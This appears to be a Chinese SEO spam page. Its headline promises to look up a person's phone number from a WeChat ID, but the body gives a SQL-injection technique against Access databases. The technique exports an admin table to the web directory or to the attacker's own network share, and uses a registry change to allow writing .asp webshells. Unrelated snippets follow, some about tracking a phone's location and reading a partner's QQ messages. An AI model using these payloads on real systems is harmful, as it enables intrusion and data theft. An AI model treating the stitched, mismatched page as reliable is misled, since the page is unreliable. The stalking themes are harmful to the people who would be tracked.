黑客教你查询某人信息(微信号查手机号黑科技)

访客4年前黑客工具564

已经听N个人过说有人已经发现SQL注入Access得到webshell的技术了,也只是听说而已,具体的细节还是不得而知。 
最近在看的书中一章提到Jet的安全,然后灵光一闪,呵呵,发现了一种可以利用access导出asp的 *** ,分享之。 
几个月之前网上就流传利用SQL注入Access导出数据库内容到文本文件(可导出txt、htm、html等格式)的 *** : 
SELECT * into [test.txt] in ’d:\web\’ ’text;’ from admin 
执行上述语句,在d:\web目录下就会生成test.txt文件,其内容就是表admin的内容。但是导出asp格式就不行,会说“不能更新,数据库或对象为只读”。 
其实控制导出文件后缀是存储在注册表的,具体键值是HKEY_LOCALMACHINE\Software\Microsoft\Jet\4.0\Engines\Text\DisableExtension,默认情况下值为“!txt,csv,tab,asc,tmp,htm,html”,如果我们把asp也添加进去的话,呵呵,就可以导出asp格式的文件了。 
这个 *** 跟那个调用Access的Shell函数执行命令一样,要修改注册表,所以利用不是很大。 
顺便提一下,前面提到的导出文本文件的 *** 如果不知道web路径貌似可以导出到自己机器的哦:SELECT * into [test.txt] in ’\\yourip\share’ ’text;’ from admin 

相关文章

怎么找回爱人QQ信息记录

10月29日,第16期超级陪练课按时开课,本期的陪练乐器是小提琴,也算是圆了不少琴童及家长在公众号以及APP后台对于开设小提琴超级陪练课的梦想。截至到今年下半年,VIP陪练已经开设多达32种乐器的“真...

女士香水品牌排行前十名(最好闻的香水都在这儿)

女士香水品牌排行前十名(最好闻的香水都在这儿)

淡香水是当代女性的日常生活用品,一款清新女香并且适合本身的可以 一瞬间提升人的气质,那么解决那麼多种多样的著名品牌,哪一款是最受大家欢迎的呢?今日就由排行榜123网编来为大家例举女性香水排行榜10强,...

定位别人手机具体位置_有对方手机号码怎么定位他

四川GPS定位监管智能安防星机高科运营中心发布的星控手机位置GPS定位手机上是出示给特需群体遇难时一键报警求助、、抢救迅速明确总体目标部位、父母对老少出门走动位置查询、安全性监测的警报定位手机,还可以...

宠物被人拎走致死是否构成犯罪如何解读?王珞丹寻鸭事件最新进展

宠物被人拎走致死是否构成犯罪如何解读?王珞丹寻鸭事件最新进展

每经编辑:步静 7月3日,演员王珞丹微博称,同事的宠物鸭吉吉在河南息县被一女子拎走,鸭已死亡。律师解读:若宠物鸭价值不菲,则达到盗窃罪刑事立案标准,但是否构成盗窃罪,还涉及到该女子对鸭的价值认知;如...

黑客技术怎么找-狗狗军团第二季6(迷你天下狗狗军团)

饿了么外卖怎么拉黑手机客户端 怎祥登另一方qq不被发觉(怎祥让另一方qq登不上) 网络黑客招聘面试被拒绝是啥 黑客和网络黑客的差别(网络黑客黑客红客) 网络黑客用什么电脑最好是...

地坪施工公司取名大全(187个有档次名字)

寓意好两个字地坪施工公司取名名字大全打分 教参地坪施工公司   5.42分   进账地坪施工公司   10.10分   棱镜地坪施工公司   49.38分   外地地坪施工公司   15.60分...